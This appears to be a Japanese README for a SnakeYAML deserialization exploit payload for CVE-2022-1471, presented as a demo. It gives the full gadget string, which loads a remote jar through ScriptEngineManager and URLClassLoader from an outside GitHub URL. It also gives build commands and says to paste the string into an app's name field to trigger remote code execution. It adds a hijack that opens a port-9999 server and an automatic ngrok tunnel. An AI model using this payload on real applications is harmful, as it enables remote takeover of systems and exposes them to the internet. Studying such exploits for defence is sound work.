CVE-2022-1471 向けの SnakeYAML デシリアライゼーション悪用ペイロードです。artsploit/yaml-payload を基に改変しています(元は mbechler/marshalsec に基づく)。
SnakeYAML の安全でない Yaml.load() で読み込まれると、このペイロードは実行中のアプリケーションを乗っ取り、"You've Been PWNED" ページに置き換えます:
Tomcat Valve の注入が利用できない場合(例: Spring 以外のアプリ)は、ポート 9999 でスタンドアロンの HTTP サーバーを起動し、ngrok が実行中であれば ngrok トンネルを自動的に作成するフォールバックに切り替わります。
これは macOS 上のローカルと CI/CD パイプライン(例: Ubuntu 上の GitHub Actions)の両方で動作します。
SnakeYAML ペイロードは、Java SPI(Service Provider Interface)を介して ScriptEngineManager をトリガーします:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
yaml-payload.jar を指す java.net.URL をインスタンス化しますURLClassLoader でラップしてリモートクラスを読み込みますScriptEngineManager が META-INF/services/javax.script.ScriptEngineFactory を介して AwesomeScriptEngineFactory を検出・読み込みます/ への後続のすべてのレスポンスを PWNED ページに置き換えますJDK 17+ が必要です:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
maven-demo プロジェクトのエクスプロイトペイロードとして使用します。ペイロード文字列をアプリの名前フィールドに貼り付けて RCE をトリガーします。次のリクエストでアプリのページが PWNED ページに置き換えられます。完全なデモ手順については、そのリポジトリの README を参照してください。